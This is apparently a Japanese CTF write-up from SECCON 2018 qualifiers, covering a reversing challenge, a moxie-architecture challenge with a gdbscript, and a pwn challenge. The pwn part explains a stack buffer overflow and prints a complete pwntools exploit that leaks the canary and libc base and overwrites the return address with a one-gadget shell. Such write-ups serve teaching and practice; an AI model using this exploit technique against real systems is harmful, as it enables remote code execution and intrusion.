seccon quals 2018
結果
2位
writeup
Runme
winバイナリです。IDAを開きます。true/falseを計算する関数を見つけます。その関数をたどっていくと、パスを一文字ずつ比較していく関数が連なっていることがわかります。文字をくっつけて終わり
Special Instructions
moxieという謎アーキ。結論からいえば、objdumpするだけだったが、試行錯誤的にはmoxieのqemuとgdbを入れて実行をして、拡張オペコードとして、xorshift32のseedを設定する命令と値を計算して返す命令があることがわかるので、gdbscriptを使って自動で実行できるようにした。
はずだったが、qemu remote debugがバグってんのか、gdbがバグってんのかしらんけどsetでpc以外のレジスタが書き換えられなかったので、結局自分でdisasmしてpythonで答えをだした。
せっかくgdbscirptでやや非自明なコードを書いたので今後のためにも供養しておく
target remote localhost:1234 b *0x154a command set $pc=0x154c #continue end b *0x1480 command set $pc=0x160c end set *0x1c60=2463534242 define get_value set *0x1c60=(*0x1c60) ^ (*0x1c60 << 13) set *0x1c60=(*0x1c60) ^ (*0x1c60 >> 17) set *0x1c60=(*0x1c60) ^ (*0x1c60 << 15) set $r0=*0x1c60 set $pc = 0x1550 print $r0 end b *0x154e command get_value end
Profile
pwn。x64のC++バイナリ。Name/Age/Msgを最初に入力し、後からMsgを更新できるという機能を持つ。
std::stringの正しい仕様は知らないが、少なくとも問題のバイナリでは、15bytes以下の文字列(末尾の\x00を入れて16bytes)はスタックに入るようで、前から順に「bufferのポインタ」、「文字列の長さ」、「文字列バッファ」が作られる(知らんかった)。
ところで、このバイナリは、Msg更新の際に、なぜかc_strを使って、バッファを取り出して、malloc_usable_sizeを用いて、長さを確認したのち、その長さ分だけreadするような関数を作って用いている。
このとき、c_strバッファがスタックにあると、未定義かどうかわからないが、とても大きな値をmalloc_usable_sizeが返すので、バッファオーバーフローが起こる。オブジェクトは、メッセージ関数の下の方にあるので、オブジェクト末尾のcanaryやfreeされるポインタのアドレスを破壊しないように気をつけつつ、リターンアドレスを書き換えれば良い。
以下回答スクリプト
# coding: utf-8 from __future__ import print_function, division from pwn import * # socat TCP-L:3001,reuseaddr,fork EXEC:./execfile is_gaibu = True if is_gaibu: host = "profile.pwn.seccon.jp" port = 28553 rce = 0x4526a libc_offset = 0x20740 + 240 else: host = "127.0.0.1" port = 3001 rce = 0x4526a # 0x7f63a7c09830 <__libc_start_main+240>: 0x31000197f9e8c789 libc_offset = 0x20740 + 240 def main(): r = remote(host, port) def menu(select, verbose=False): s = r.recvuntil('>> ') print(s) r.sendline(str(select)) def update(msg): menu(1) s = r.recvuntil('>> ') print(s) r.sendline(msg) def show(): menu(2) x = r.recvuntil('\n').replace('Name : ', '') y = r.recvuntil('\n').replace('Age : ', '') z = r.recvuntil('\n').replace('Msg : ', '') return (x, y, z) def exit(): menu(0) def get_value(): (x, y, z) = show() addr = u64(x[:8]) return addr def introduce(name, age, msg): s = r.recvuntil('>> ') r.sendline(name) s = r.recvuntil('>> ') r.sendline(str(age)) s = r.recvuntil('>> ') r.sendline(msg) msg = 'ABCDEFGHIJKLMNO' name = 'ABCDEFGHIJKLMNO' introduce(msg, 1, name) #print('attach please. ok?') #raw_input() # add one byte. msg += 'A' update(msg+ '\x60') addr = get_value() if (addr & 0xff) != 0x60: print('miss...') r.close() main() print('name addr... {}'.format(hex(addr))) sleep(1) canary_addr = addr + 0x28 update(msg + p64(canary_addr)) canary = get_value() print('canary ... {}'.format(hex(canary))) base_addr = addr + 0x48 update(msg + p64(base_addr)) libc_base = get_value() - libc_offset print(hex(base_addr)) print(hex(libc_base)) ret2addr = libc_base + rce print('ret addr ... {}'.format(hex(ret2addr))) dummy = 'ABCDEFGHIJKLMNOPQRSTUVWX' buf = dummy + p64(ret2addr) + '\x00' * 0x40 # for one gadget rce update(msg + p64(addr + 0x10) + '\x00' * 0x20 + p64(canary) + buf) show() exit() r.interactive() print('finish...') main()